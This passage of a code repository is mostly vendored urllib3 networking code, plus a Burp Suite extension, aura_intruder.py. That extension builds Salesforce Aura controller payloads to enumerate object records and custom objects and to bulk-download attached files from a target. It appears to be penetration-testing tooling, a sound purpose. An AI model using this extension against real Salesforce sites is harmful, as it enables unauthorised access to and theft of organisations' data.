96 | auth_msg = ntlm.create_NTLM_AUTHENTICATE_MESSAGE( 97 | ServerChallenge, self.user, self.domain, self.pw, NegotiateFlags 98 | ) 99 | headers[req_header] = "NTLM %s" % auth_msg 100 | log.debug("Request headers: %s", headers) 101 | conn.request("GET", self.authurl, None, headers) 102 | res = conn.getresponse() 103 | log.debug("Response status: %s %s", res.status, res.reason) 104 | log.debug("Response headers: %s", dict(res.getheaders())) 105 | log.debug("Response data: %s [...]", res.read()[:100]) 106 | if res.status != 200: 107 | if res.status == 401: 108 | raise Exception("Server rejected request: wrong username or password") 109 | raise Exception("Wrong server response: %s %s" % (res.status, res.reason)) 110 | 111 | res.fp = None 112 | log.debug("Connection established") 113 | return conn 114 | 115 | def urlopen( 116 | self, 117 | method, 118 | url, 119 | body=None, 120 | headers=None, 121 | retries=3, 122 | redirect=True, 123 | assert_same_host=True, 124 | ): 125 | if headers is None: 126 | headers = {} 127 | headers["Connection"] = "Keep-Alive" 128 | return super(NTLMConnectionPool, self).urlopen( 129 | method, url, body, headers, retries, redirect, assert_same_host 130 | ) 131 | -------------------------------------------------------------------------------- /modules/urllib3/util/connection.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | import socket 4 | 5 | from ..contrib import _appengine_environ 6 | from ..exceptions import LocationParseError 7 | from ..packages import six 8 | from .wait import NoWayToWaitForSocketError, wait_for_read 9 | 10 | 11 | def is_connection_dropped(conn): # Platform-specific 12 | """ 13 | Returns True if the connection is dropped and should be closed. 14 | 15 | :param conn: 16 | :class:`http.client.HTTPConnection` object. 17 | 18 | Note: For platforms like AppEngine, this will always return ``False`` to 19 | let the platform handle connection recycling transparently for us. 20 | """ 21 | sock = getattr(conn, "sock", False) 22 | if sock is False: # Platform-specific: AppEngine 23 | return False 24 | if sock is None: # Connection already closed (such as by httplib). 25 | return True 26 | try: 27 | # Returns True if readable, which here means it's been dropped 28 | return wait_for_read(sock, timeout=0.0) 29 | except NoWayToWaitForSocketError: # Platform-specific: AppEngine 30 | return False 31 | 32 | 33 | # This function is copied from socket.py in the Python 2.7 standard 34 | # library test suite. Added to its signature is only `socket_options`. 35 | # One additional modification is that we avoid binding to IPv6 servers 36 | # discovered in DNS if the system doesn't have IPv6 functionality. 37 | def create_connection( 38 | address, 39 | timeout=socket._GLOBAL_DEFAULT_TIMEOUT, 40 | source_address=None, 41 | socket_options=None, 42 | ): 43 | """Connect to *address* and return the socket object. 44 | 45 | Convenience function. Connect to *address* (a 2-tuple ``(host, 46 | port)``) and return the socket object. Passing the optional 47 | *timeout* parameter will set the timeout on the socket instance 48 | before attempting to connect. If no *timeout* is supplied, the 49 | global default timeout setting returned by :func:`socket.getdefaulttimeout` 50 | is used. If *source_address* is set it must be a tuple of (host, port) 51 | for the socket to bind as a source address before making the connection. 52 | An host of '' or port 0 tells the OS to use the default. 53 | """ 54 | 55 | host, port = address 56 | if host.startswith("["): 57 | host = host.strip("[]") 58 | err = None 59 | 60 | # Using the value from allowed_gai_family() in the context of getaddrinfo lets 61 | # us select whether to work with IPv4 DNS records, IPv6 records, or both. 62 | # The original create_connection function always returns all records. 63 | family = allowed_gai_family() 64 | 65 | try: 66 | host.encode("idna") 67 | except UnicodeError: 68 | return six.raise_from( 69 | LocationParseError(u"'%s', label empty or too long" % host), None 70 | ) 71 | 72 | for res in socket.getaddrinfo(host, port, family, socket.SOCK_STREAM): 73 | af, socktype, proto, canonname, sa = res 74 | sock = None 75 | try: 76 | sock = socket.socket(af, socktype, proto) 77 | 78 | # If provided, set socket level options before connecting. 79 | _set_socket_options(sock, socket_options) 80 | 81 | if timeout is not socket._GLOBAL_DEFAULT_TIMEOUT: 82 | sock.settimeout(timeout) 83 | if source_address: 84 | sock.bind(source_address) 85 | sock.connect(sa) 86 | return sock 87 | 88 | except socket.error as e: 89 | err = e 90 | if sock is not None: 91 | sock.close() 92 | sock = None 93 | 94 | if err is not None: 95 | raise err 96 | 97 | raise socket.error("getaddrinfo returns an empty list") 98 | 99 | 100 | def _set_socket_options(sock, options): 101 | if options is None: 102 | return 103 | 104 | for opt in options: 105 | sock.setsockopt(*opt) 106 | 107 | 108 | def allowed_gai_family(): 109 | """This function is designed to work in the context of 110 | getaddrinfo, where family=socket.AF_UNSPEC is the default and 111 | will perform a DNS search for both IPv6 and IPv4 records.""" 112 | 113 | family = socket.AF_INET 114 | if HAS_IPV6: 115 | family = socket.AF_UNSPEC 116 | return family 117 | 118 | 119 | def _has_ipv6(host): 120 | """Returns True if the system can bind an IPv6 address.""" 121 | sock = None 122 | has_ipv6 = False 123 | 124 | # App Engine doesn't support IPV6 sockets and actually has a quota on the 125 | # number of sockets that can be used, so just early out here instead of 126 | # creating a socket needlessly. 127 | # See https://github.com/urllib3/urllib3/issues/1446 128 | if _appengine_environ.is_appengine_sandbox(): 129 | return False 130 | 131 | if socket.has_ipv6: 132 | # has_ipv6 returns true if cPython was compiled with IPv6 support. 133 | # It does not tell us if the system has IPv6 support enabled. To 134 | # determine that we must bind to an IPv6 address. 135 | # https://github.com/urllib3/urllib3/pull/611 136 | # https://bugs.python.org/issue658327 137 | try: 138 | sock = socket.socket(socket.AF_INET6) 139 | sock.bind((host, 0)) 140 | has_ipv6 = True 141 | except Exception: 142 | pass 143 | 144 | if sock: 145 | sock.close() 146 | return has_ipv6 147 | 148 | 149 | HAS_IPV6 = _has_ipv6("::1") 150 | -------------------------------------------------------------------------------- /modules/urllib3/util/wait.py: -------------------------------------------------------------------------------- 1 | import errno 2 | import select 3 | import sys 4 | from functools import partial 5 | 6 | try: 7 | from time import monotonic 8 | except ImportError: 9 | from time import time as monotonic 10 | 11 | __all__ = ["NoWayToWaitForSocketError", "wait_for_read", "wait_for_write"] 12 | 13 | 14 | class NoWayToWaitForSocketError(Exception): 15 | pass 16 | 17 | 18 | # How should we wait on sockets? 19 | # 20 | # There are two types of APIs you can use for waiting on sockets: the fancy 21 | # modern stateful APIs like epoll/kqueue, and the older stateless APIs like 22 | # select/poll. The stateful APIs are more efficient when you have a lots of 23 | # sockets to keep track of, because you can set them up once and then use them 24 | # lots of times. But we only ever want to wait on a single socket at a time 25 | # and don't want to keep track of state, so the stateless APIs are actually 26 | # more efficient. So we want to use select() or poll(). 27 | # 28 | # Now, how do we choose between select() and poll()? On traditional Unixes, 29 | # select() has a strange calling convention that makes it slow, or fail 30 | # altogether, for high-numbered file descriptors. The point of poll() is to fix 31 | # that, so on Unixes, we prefer poll(). 32 | # 33 | # On Windows, there is no poll() (or at least Python doesn't provide a wrapper 34 | # for it), but that's OK, because on Windows, select() doesn't have this 35 | # strange calling convention; plain select() works fine. 36 | # 37 | # So: on Windows we use select(), and everywhere else we use poll(). We also 38 | # fall back to select() in case poll() is somehow broken or missing. 39 | 40 | if sys.version_info >= (3, 5): 41 | # Modern Python, that retries syscalls by default 42 | def _retry_on_intr(fn, timeout): 43 | return fn(timeout) 44 | 45 | 46 | else: 47 | # Old and broken Pythons. 48 | def _retry_on_intr(fn, timeout): 49 | if timeout is None: 50 | deadline = float("inf") 51 | else: 52 | deadline = monotonic() + timeout 53 | 54 | while True: 55 | try: 56 | return fn(timeout) 57 | # OSError for 3 <= pyver < 3.5, select.error for pyver <= 2.7 58 | except (OSError, select.error) as e: 59 | # 'e.args[0]' incantation works for both OSError and select.error 60 | if e.args[0] != errno.EINTR: 61 | raise 62 | else: 63 | timeout = deadline - monotonic() 64 | if timeout < 0: 65 | timeout = 0 66 | if timeout == float("inf"): 67 | timeout = None 68 | continue 69 | 70 | 71 | def select_wait_for_socket(sock, read=False, write=False, timeout=None): 72 | if not read and not write: 73 | raise RuntimeError("must specify at least one of read=True, write=True") 74 | rcheck = [] 75 | wcheck = [] 76 | if read: 77 | rcheck.append(sock) 78 | if write: 79 | wcheck.append(sock) 80 | # When doing a non-blocking connect, most systems signal success by 81 | # marking the socket writable. Windows, though, signals success by marked 82 | # it as "exceptional". We paper over the difference by checking the write 83 | # sockets for both conditions. (The stdlib selectors module does the same 84 | # thing.) 85 | fn = partial(select.select, rcheck, wcheck, wcheck) 86 | rready, wready, xready = _retry_on_intr(fn, timeout) 87 | return bool(rready or wready or xready) 88 | 89 | 90 | def poll_wait_for_socket(sock, read=False, write=False, timeout=None): 91 | if not read and not write: 92 | raise RuntimeError("must specify at least one of read=True, write=True") 93 | mask = 0 94 | if read: 95 | mask |= select.POLLIN 96 | if write: 97 | mask |= select.POLLOUT 98 | poll_obj = select.poll() 99 | poll_obj.register(sock, mask) 100 | 101 | # For some reason, poll() takes timeout in milliseconds 102 | def do_poll(t): 103 | if t is not None: 104 | t *= 1000 105 | return poll_obj.poll(t) 106 | 107 | return bool(_retry_on_intr(do_poll, timeout)) 108 | 109 | 110 | def null_wait_for_socket(*args, **kwargs): 111 | raise NoWayToWaitForSocketError("no select-equivalent available") 112 | 113 | 114 | def _have_working_poll(): 115 | # Apparently some systems have a select.poll that fails as soon as you try 116 | # to use it, either due to strange configuration or broken monkeypatching 117 | # from libraries like eventlet/greenlet. 118 | try: 119 | poll_obj = select.poll() 120 | _retry_on_intr(poll_obj.poll, 0) 121 | except (AttributeError, OSError): 122 | return False 123 | else: 124 | return True 125 | 126 | 127 | def wait_for_socket(*args, **kwargs): 128 | # We delay choosing which implementation to use until the first time we're 129 | # called. We could do it at import time, but then we might make the wrong 130 | # decision if someone goes wild with monkeypatching select.poll after 131 | # we're imported. 132 | global wait_for_socket 133 | if _have_working_poll(): 134 | wait_for_socket = poll_wait_for_socket 135 | elif hasattr(select, "select"): 136 | wait_for_socket = select_wait_for_socket 137 | else: # Platform-specific: Appengine. 138 | wait_for_socket = null_wait_for_socket 139 | return wait_for_socket(*args, **kwargs) 140 | 141 | 142 | def wait_for_read(sock, timeout=None): 143 | """Waits for reading to be available on a given socket. 144 | Returns True if the socket is readable, or False if the timeout expired. 145 | """ 146 | return wait_for_socket(sock, read=True, timeout=timeout) 147 | 148 | 149 | def wait_for_write(sock, timeout=None): 150 | """Waits for writing to be available on a given socket. 151 | Returns True if the socket is readable, or False if the timeout expired. 152 | """ 153 | return wait_for_socket(sock, write=True, timeout=timeout) 154 | -------------------------------------------------------------------------------- /modules/urllib3/util/ssl_match_hostname.py: -------------------------------------------------------------------------------- 1 | """The match_hostname() function from Python 3.3.3, essential when using SSL.""" 2 | 3 | # Note: This file is under the PSF license as the code comes from the python 4 | # stdlib. http://docs.python.org/3/license.html 5 | 6 | import re 7 | import sys 8 | 9 | # ipaddress has been backported to 2.6+ in pypi. If it is installed on the 10 | # system, use it to handle IPAddress ServerAltnames (this was added in 11 | # python-3.5) otherwise only do DNS matching. This allows 12 | # util.ssl_match_hostname to continue to be used in Python 2.7. 13 | try: 14 | import ipaddress 15 | except ImportError: 16 | ipaddress = None 17 | 18 | __version__ = "3.5.0.1" 19 | 20 | 21 | class CertificateError(ValueError): 22 | pass 23 | 24 | 25 | def _dnsname_match(dn, hostname, max_wildcards=1): 26 | """Matching according to RFC 6125, section 6.4.3 27 | 28 | http://tools.ietf.org/html/rfc6125#section-6.4.3 29 | """ 30 | pats = [] 31 | if not dn: 32 | return False 33 | 34 | # Ported from python3-syntax: 35 | # leftmost, *remainder = dn.split(r'.') 36 | parts = dn.split(r".") 37 | leftmost = parts[0] 38 | remainder = parts[1:] 39 | 40 | wildcards = leftmost.count("*") 41 | if wildcards > max_wildcards: 42 | # Issue #17980: avoid denials of service by refusing more 43 | # than one wildcard per fragment. A survey of established 44 | # policy among SSL implementations showed it to be a 45 | # reasonable choice. 46 | raise CertificateError( 47 | "too many wildcards in certificate DNS name: " + repr(dn) 48 | ) 49 | 50 | # speed up common case w/o wildcards 51 | if not wildcards: 52 | return dn.lower() == hostname.lower() 53 | 54 | # RFC 6125, section 6.4.3, subitem 1. 55 | # The client SHOULD NOT attempt to match a presented identifier in which 56 | # the wildcard character comprises a label other than the left-most label. 57 | if leftmost == "*": 58 | # When '*' is a fragment by itself, it matches a non-empty dotless 59 | # fragment. 60 | pats.append("[^.]+") 61 | elif leftmost.startswith("xn--") or hostname.startswith("xn--"): 62 | # RFC 6125, section 6.4.3, subitem 3. 63 | # The client SHOULD NOT attempt to match a presented identifier 64 | # where the wildcard character is embedded within an A-label or 65 | # U-label of an internationalized domain name. 66 | pats.append(re.escape(leftmost)) 67 | else: 68 | # Otherwise, '*' matches any dotless string, e.g. www* 69 | pats.append(re.escape(leftmost).replace(r"\*", "[^.]*")) 70 | 71 | # add the remaining fragments, ignore any wildcards 72 | for frag in remainder: 73 | pats.append(re.escape(frag)) 74 | 75 | pat = re.compile(r"\A" + r"\.".join(pats) + r"\Z", re.IGNORECASE) 76 | return pat.match(hostname) 77 | 78 | 79 | def _to_unicode(obj): 80 | if isinstance(obj, str) and sys.version_info < (3,): 81 | # ignored flake8 # F821 to support python 2.7 function 82 | obj = unicode(obj, encoding="ascii", errors="strict") # noqa: F821 83 | return obj 84 | 85 | 86 | def _ipaddress_match(ipname, host_ip): 87 | """Exact matching of IP addresses. 88 | 89 | RFC 6125 explicitly doesn't define an algorithm for this 90 | (section 1.7.2 - "Out of Scope"). 91 | """ 92 | # OpenSSL may add a trailing newline to a subjectAltName's IP address 93 | # Divergence from upstream: ipaddress can't handle byte str 94 | ip = ipaddress.ip_address(_to_unicode(ipname).rstrip()) 95 | return ip == host_ip 96 | 97 | 98 | def match_hostname(cert, hostname): 99 | """Verify that *cert* (in decoded format as returned by 100 | SSLSocket.getpeercert()) matches the *hostname*. RFC 2818 and RFC 6125 101 | rules are followed, but IP addresses are not accepted for *hostname*. 102 | 103 | CertificateError is raised on failure. On success, the function 104 | returns nothing. 105 | """ 106 | if not cert: 107 | raise ValueError( 108 | "empty or no certificate, match_hostname needs a " 109 | "SSL socket or SSL context with either " 110 | "CERT_OPTIONAL or CERT_REQUIRED" 111 | ) 112 | try: 113 | # Divergence from upstream: ipaddress can't handle byte str 114 | host_ip = ipaddress.ip_address(_to_unicode(hostname)) 115 | except (UnicodeError, ValueError): 116 | # ValueError: Not an IP address (common case) 117 | # UnicodeError: Divergence from upstream: Have to deal with ipaddress not taking 118 | # byte strings. addresses should be all ascii, so we consider it not 119 | # an ipaddress in this case 120 | host_ip = None 121 | except AttributeError: 122 | # Divergence from upstream: Make ipaddress library optional 123 | if ipaddress is None: 124 | host_ip = None 125 | else: # Defensive 126 | raise 127 | dnsnames = [] 128 | san = cert.get("subjectAltName", ()) 129 | for key, value in san: 130 | if key == "DNS": 131 | if host_ip is None and _dnsname_match(value, hostname): 132 | return 133 | dnsnames.append(value) 134 | elif key == "IP Address": 135 | if host_ip is not None and _ipaddress_match(value, host_ip): 136 | return 137 | dnsnames.append(value) 138 | if not dnsnames: 139 | # The subject is only checked when there is no dNSName entry 140 | # in subjectAltName 141 | for sub in cert.get("subject", ()): 142 | for key, value in sub: 143 | # XXX according to RFC 2818, the most specific Common Name 144 | # must be used. 145 | if key == "commonName": 146 | if _dnsname_match(value, hostname): 147 | return 148 | dnsnames.append(value) 149 | if len(dnsnames) > 1: 150 | raise CertificateError( 151 | "hostname %r " 152 | "doesn't match either of %s" % (hostname, ", ".join(map(repr, dnsnames))) 153 | ) 154 | elif len(dnsnames) == 1: 155 | raise CertificateError("hostname %r doesn't match %r" % (hostname, dnsnames[0])) 156 | else: 157 | raise CertificateError( 158 | "no appropriate commonName or subjectAltName fields were found" 159 | ) 160 | -------------------------------------------------------------------------------- /modules/urllib3/request.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | from .filepost import encode_multipart_formdata 4 | from .packages.six.moves.urllib.parse import urlencode 5 | 6 | __all__ = ["RequestMethods"] 7 | 8 | 9 | class RequestMethods(object): 10 | """ 11 | Convenience mixin for classes who implement a :meth:`urlopen` method, such 12 | as :class:`urllib3.HTTPConnectionPool` and 13 | :class:`urllib3.PoolManager`. 14 | 15 | Provides behavior for making common types of HTTP request methods and 16 | decides which type of request field encoding to use. 17 | 18 | Specifically, 19 | 20 | :meth:`.request_encode_url` is for sending requests whose fields are 21 | encoded in the URL (such as GET, HEAD, DELETE). 22 | 23 | :meth:`.request_encode_body` is for sending requests whose fields are 24 | encoded in the *body* of the request using multipart or www-form-urlencoded 25 | (such as for POST, PUT, PATCH). 26 | 27 | :meth:`.request` is for making any kind of request, it will look up the 28 | appropriate encoding format and use one of the above two methods to make 29 | the request. 30 | 31 | Initializer parameters: 32 | 33 | :param headers: 34 | Headers to include with all requests, unless other headers are given 35 | explicitly. 36 | """ 37 | 38 | _encode_url_methods = {"DELETE", "GET", "HEAD", "OPTIONS"} 39 | 40 | def __init__(self, headers=None): 41 | self.headers = headers or {} 42 | 43 | def urlopen( 44 | self, 45 | method, 46 | url, 47 | body=None, 48 | headers=None, 49 | encode_multipart=True, 50 | multipart_boundary=None, 51 | **kw 52 | ): # Abstract 53 | raise NotImplementedError( 54 | "Classes extending RequestMethods must implement " 55 | "their own ``urlopen`` method." 56 | ) 57 | 58 | def request(self, method, url, fields=None, headers=None, **urlopen_kw): 59 | """ 60 | Make a request using :meth:`urlopen` with the appropriate encoding of 61 | ``fields`` based on the ``method`` used. 62 | 63 | This is a convenience method that requires the least amount of manual 64 | effort. It can be used in most situations, while still having the 65 | option to drop down to more specific methods when necessary, such as 66 | :meth:`request_encode_url`, :meth:`request_encode_body`, 67 | or even the lowest level :meth:`urlopen`. 68 | """ 69 | method = method.upper() 70 | 71 | urlopen_kw["request_url"] = url 72 | 73 | if method in self._encode_url_methods: 74 | return self.request_encode_url( 75 | method, url, fields=fields, headers=headers, **urlopen_kw 76 | ) 77 | else: 78 | return self.request_encode_body( 79 | method, url, fields=fields, headers=headers, **urlopen_kw 80 | ) 81 | 82 | def request_encode_url(self, method, url, fields=None, headers=None, **urlopen_kw): 83 | """ 84 | Make a request using :meth:`urlopen` with the ``fields`` encoded in 85 | the url. This is useful for request methods like GET, HEAD, DELETE, etc. 86 | """ 87 | if headers is None: 88 | headers = self.headers 89 | 90 | extra_kw = {"headers": headers} 91 | extra_kw.update(urlopen_kw) 92 | 93 | if fields: 94 | url += "?" + urlencode(fields) 95 | 96 | return self.urlopen(method, url, **extra_kw) 97 | 98 | def request_encode_body( 99 | self, 100 | method, 101 | url, 102 | fields=None, 103 | headers=None, 104 | encode_multipart=True, 105 | multipart_boundary=None, 106 | **urlopen_kw 107 | ): 108 | """ 109 | Make a request using :meth:`urlopen` with the ``fields`` encoded in 110 | the body. This is useful for request methods like POST, PUT, PATCH, etc. 111 | 112 | When ``encode_multipart=True`` (default), then 113 | :func:`urllib3.encode_multipart_formdata` is used to encode 114 | the payload with the appropriate content type. Otherwise 115 | :func:`urllib.parse.urlencode` is used with the 116 | 'application/x-www-form-urlencoded' content type. 117 | 118 | Multipart encoding must be used when posting files, and it's reasonably 119 | safe to use it in other times too. However, it may break request 120 | signing, such as with OAuth. 121 | 122 | Supports an optional ``fields`` parameter of key/value strings AND 123 | key/filetuple. A filetuple is a (filename, data, MIME type) tuple where 124 | the MIME type is optional. For example:: 125 | 126 | fields = { 127 | 'foo': 'bar', 128 | 'fakefile': ('foofile.txt', 'contents of foofile'), 129 | 'realfile': ('barfile.txt', open('realfile').read()), 130 | 'typedfile': ('bazfile.bin', open('bazfile').read(), 131 | 'image/jpeg'), 132 | 'nonamefile': 'contents of nonamefile field', 133 | } 134 | 135 | When uploading a file, providing a filename (the first parameter of the 136 | tuple) is optional but recommended to best mimic behavior of browsers. 137 | 138 | Note that if ``headers`` are supplied, the 'Content-Type' header will 139 | be overwritten because it depends on the dynamic random boundary string 140 | which is used to compose the body of the request. The random boundary 141 | string can be explicitly set with the ``multipart_boundary`` parameter. 142 | """ 143 | if headers is None: 144 | headers = self.headers 145 | 146 | extra_kw = {"headers": {}} 147 | 148 | if fields: 149 | if "body" in urlopen_kw: 150 | raise TypeError( 151 | "request got values for both 'fields' and 'body', can only specify one." 152 | ) 153 | 154 | if encode_multipart: 155 | body, content_type = encode_multipart_formdata( 156 | fields, boundary=multipart_boundary 157 | ) 158 | else: 159 | body, content_type = ( 160 | urlencode(fields), 161 | "application/x-www-form-urlencoded", 162 | ) 163 | 164 | extra_kw["body"] = body 165 | extra_kw["headers"] = {"Content-Type": content_type} 166 | 167 | extra_kw["headers"].update(headers) 168 | extra_kw.update(urlopen_kw) 169 | 170 | return self.urlopen(method, url, **extra_kw) 171 | -------------------------------------------------------------------------------- /aura_intruder.py: -------------------------------------------------------------------------------- 1 | from burp import ( 2 | IBurpExtender, 3 | IIntruderPayloadGeneratorFactory, 4 | IIntruderPayloadProcessor, 5 | IIntruderPayloadGenerator, 6 | ITab ) 7 | from javax.swing import JPanel, JButton 8 | from java.awt import GridLayout, Dimension 9 | 10 | import string, json, os 11 | from modules import urllib3 12 | 13 | http = urllib3.PoolManager() 14 | 15 | PAYLOADS = [] 16 | 17 | class BurpExtender(IBurpExtender, IIntruderPayloadGeneratorFactory, IIntruderPayloadProcessor, ITab): 18 | 19 | def getTabCaption(self): 20 | return "Aura Intruder" 21 | 22 | def load_recon_message(self, e): 23 | try: 24 | payload = '{"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.hostConfig.HostConfigController/ACTION$getConfigData","callingDescriptor":"UNKNOWN","params":{}}]}' 25 | PAYLOADS.append(bytearray(payload.strip())) 26 | except Exception as e: 27 | print(e) 28 | 29 | def load_custom_objects(self, e): 30 | try: 31 | extract_custom_object_names() 32 | except Exception as e: 33 | print(e) 34 | 35 | def load_object_payloads(self, e): 36 | try: 37 | with open('./files/Salesforce_standard_objects.txt') as apex_payloads: 38 | for payload in apex_payloads: 39 | false = "false" 40 | add_object = {"actions":[{"id":"123;a","descriptor":"serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems","callingDescriptor":"UNKNOWN","params":{"entityNameOrId": payload.strip(),"layoutType":"FULL","pageSize":100,"currentPage":0,"useTimeout":false,"getCount":false,"enableRowActions":false}}]} 41 | PAYLOADS.append(bytearray(json.dumps(add_object)).strip()) 42 | except Exception as e: 43 | print(e) 44 | 45 | def start_downloading_files(self, e): 46 | try: 47 | parse_json_file_response() 48 | except Exception as e: 49 | print(e) 50 | 51 | def getUiComponent(self): 52 | panel = JPanel(GridLayout(4,4,4,4)) 53 | recon = JButton("Salesforce Object Recon", actionPerformed = self.load_recon_message) 54 | recon.setPreferredSize(Dimension(40, 40)) 55 | get_object_data = JButton("Get Salesforce standard object data", actionPerformed = self.load_object_payloads) 56 | get_object_data.setPreferredSize(Dimension(40, 40)) 57 | get_custom_objects = JButton("Get custom Objects", actionPerformed = self.load_custom_objects) 58 | get_custom_objects.setPreferredSize(Dimension(40, 40)) 59 | download_files = JButton("Download files from response", actionPerformed = self.start_downloading_files) 60 | download_files.setPreferredSize(Dimension(40, 40)) 61 | panel.add(recon) 62 | panel.add(get_custom_objects) 63 | panel.add(get_object_data) 64 | panel.add(download_files) 65 | return panel 66 | 67 | # implement IBurpExtender 68 | 69 | def registerExtenderCallbacks(self, callbacks): 70 | # obtain an extension helpers object 71 | self._helpers = callbacks.getHelpers() 72 | 73 | # set our extension name 74 | callbacks.setExtensionName("Aura Intruder") 75 | 76 | # register ourselves as an Intruder payload generator 77 | callbacks.registerIntruderPayloadGeneratorFactory(self) 78 | 79 | # register ourselves as an Intruder payload processor 80 | callbacks.registerIntruderPayloadProcessor(self) 81 | 82 | # add extension tab 83 | callbacks.addSuiteTab(self) 84 | 85 | # implement IIntruderPayloadGeneratorFactory 86 | 87 | def getGeneratorName(self): 88 | return "Aura payloads" 89 | 90 | def createNewInstance(self, attack): 91 | # return a new IIntruderPayloadGenerator to generate payloads for this attack 92 | return IntruderPayloadGenerator() 93 | 94 | # implement IIntruderPayloadProcessor 95 | 96 | def getProcessorName(self): 97 | return "Serialized input wrapper" 98 | 99 | def processPayload(self, currentPayload, originalPayload, baseValue): 100 | # decode the base value 101 | dataParameter = self._helpers.bytesToString( 102 | self._helpers.base64Decode(self._helpers.urlDecode(baseValue))) 103 | 104 | # parse the location of the input string in the decoded data 105 | start = dataParameter.index("input=") + 6 106 | if start == -1: 107 | return currentPayload 108 | 109 | prefix = dataParameter[0:start] 110 | end = dataParameter.index("&", start) 111 | if end == -1: 112 | end = len(dataParameter) 113 | 114 | suffix = dataParameter[end:len(dataParameter)] 115 | 116 | # rebuild the serialized data with the new payload 117 | dataParameter = prefix + self._helpers.bytesToString(currentPayload) + suffix 118 | return self._helpers.stringToBytes( 119 | self._helpers.urlEncode(self._helpers.base64Encode(dataParameter))) 120 | 121 | # classes to generate payloads from a simple list 122 | 123 | class IntruderPayloadGenerator(IIntruderPayloadGenerator): 124 | def __init__(self): 125 | self._payloadIndex = 0 126 | 127 | def hasMorePayloads(self): 128 | return self._payloadIndex < len(PAYLOADS) 129 | 130 | def getNextPayload(self, baseValue): 131 | payload = PAYLOADS[self._payloadIndex] 132 | self._payloadIndex = self._payloadIndex + 1 133 | 134 | return payload 135 | 136 | def reset(self): 137 | self._payloadIndex = 0 138 | 139 | 140 | # Function to parse document download json response and automagically download files from Salesforce sandbox environment 141 | 142 | def parse_json_file_response(): 143 | 144 | download_id_list = [] 145 | with open('./files/json_response.json', 'r') as json_response: 146 | json_data = json.load(json_response) 147 | for line in json_data: 148 | download_id_list.append(line["record"]["Id"]) 149 | 150 | for download_id in download_id_list: 151 | try: 152 | url = "https://YOUR_ATTACHMENTS_DOMAIN/sfc/servlet.shepherd/version/download/" 153 | r = http.request('GET', url + download_id) 154 | filename = r.headers.get('content-disposition').split("filename=")[1].strip('"').strip("'") 155 | files_path = os.path.join("./files/", filename) 156 | open(files_path, 'wb').write(r.content) 157 | except Exception as e: 158 | print(e) 159 | 160 | 161 | # Extract custom objects from json response 162 | def extract_custom_object_names(): 163 | with open('./files/custom_object_check.json', 'r') as custom_object_check: 164 | json_data = json.load(custom_object_check) 165 | for line in json_data: 166 | if "__c" in line: 167 | print(line) -------------------------------------------------------------------------------- /modules/urllib3/util/ssltransport.py: -------------------------------------------------------------------------------- 1 | import io 2 | import socket 3 | import ssl 4 | 5 | from ..exceptions import ProxySchemeUnsupported 6 | from ..packages import six 7 | 8 | SSL_BLOCKSIZE = 16384 9 | 10 | 11 | class SSLTransport: 12 | """ 13 | The SSLTransport wraps an existing socket and establishes an SSL connection. 14 | 15 | Contrary to Python's implementation of SSLSocket, it allows you to chain 16 | multiple TLS connections together. It's particularly useful if you need to 17 | implement TLS within TLS. 18 | 19 | The class supports most of the socket API operations. 20 | """ 21 | 22 | @staticmethod 23 | def _validate_ssl_context_for_tls_in_tls(ssl_context): 24 | """ 25 | Raises a ProxySchemeUnsupported if the provided ssl_context can't be used 26 | for TLS in TLS. 27 | 28 | The only requirement is that the ssl_context provides the 'wrap_bio' 29 | methods. 30 | """ 31 | 32 | if not hasattr(ssl_context, "wrap_bio"): 33 | if six.PY2: 34 | raise ProxySchemeUnsupported( 35 | "TLS in TLS requires SSLContext.wrap_bio() which isn't " 36 | "supported on Python 2" 37 | ) 38 | else: 39 | raise ProxySchemeUnsupported( 40 | "TLS in TLS requires SSLContext.wrap_bio() which isn't " 41 | "available on non-native SSLContext" 42 | ) 43 | 44 | def __init__( 45 | self, socket, ssl_context, server_hostname=None, suppress_ragged_eofs=True 46 | ): 47 | """ 48 | Create an SSLTransport around socket using the provided ssl_context. 49 | """ 50 | self.incoming = ssl.MemoryBIO() 51 | self.outgoing = ssl.MemoryBIO() 52 | 53 | self.suppress_ragged_eofs = suppress_ragged_eofs 54 | self.socket = socket 55 | 56 | self.sslobj = ssl_context.wrap_bio( 57 | self.incoming, self.outgoing, server_hostname=server_hostname 58 | ) 59 | 60 | # Perform initial handshake. 61 | self._ssl_io_loop(self.sslobj.do_handshake) 62 | 63 | def __enter__(self): 64 | return self 65 | 66 | def __exit__(self, *_): 67 | self.close() 68 | 69 | def fileno(self): 70 | return self.socket.fileno() 71 | 72 | def read(self, len=1024, buffer=None): 73 | return self._wrap_ssl_read(len, buffer) 74 | 75 | def recv(self, len=1024, flags=0): 76 | if flags != 0: 77 | raise ValueError("non-zero flags not allowed in calls to recv") 78 | return self._wrap_ssl_read(len) 79 | 80 | def recv_into(self, buffer, nbytes=None, flags=0): 81 | if flags != 0: 82 | raise ValueError("non-zero flags not allowed in calls to recv_into") 83 | if buffer and (nbytes is None): 84 | nbytes = len(buffer) 85 | elif nbytes is None: 86 | nbytes = 1024 87 | return self.read(nbytes, buffer) 88 | 89 | def sendall(self, data, flags=0): 90 | if flags != 0: 91 | raise ValueError("non-zero flags not allowed in calls to sendall") 92 | count = 0 93 | with memoryview(data) as view, view.cast("B") as byte_view: 94 | amount = len(byte_view) 95 | while count < amount: 96 | v = self.send(byte_view[count:]) 97 | count += v 98 | 99 | def send(self, data, flags=0): 100 | if flags != 0: 101 | raise ValueError("non-zero flags not allowed in calls to send") 102 | response = self._ssl_io_loop(self.sslobj.write, data) 103 | return response 104 | 105 | def makefile( 106 | self, mode="r", buffering=None, encoding=None, errors=None, newline=None 107 | ): 108 | """ 109 | Python's httpclient uses makefile and buffered io when reading HTTP 110 | messages and we need to support it. 111 | 112 | This is unfortunately a copy and paste of socket.py makefile with small 113 | changes to point to the socket directly. 114 | """ 115 | if not set(mode) <= {"r", "w", "b"}: 116 | raise ValueError("invalid mode %r (only r, w, b allowed)" % (mode,)) 117 | 118 | writing = "w" in mode 119 | reading = "r" in mode or not writing 120 | assert reading or writing 121 | binary = "b" in mode 122 | rawmode = "" 123 | if reading: 124 | rawmode += "r" 125 | if writing: 126 | rawmode += "w" 127 | raw = socket.SocketIO(self, rawmode) 128 | self.socket._io_refs += 1 129 | if buffering is None: 130 | buffering = -1 131 | if buffering < 0: 132 | buffering = io.DEFAULT_BUFFER_SIZE 133 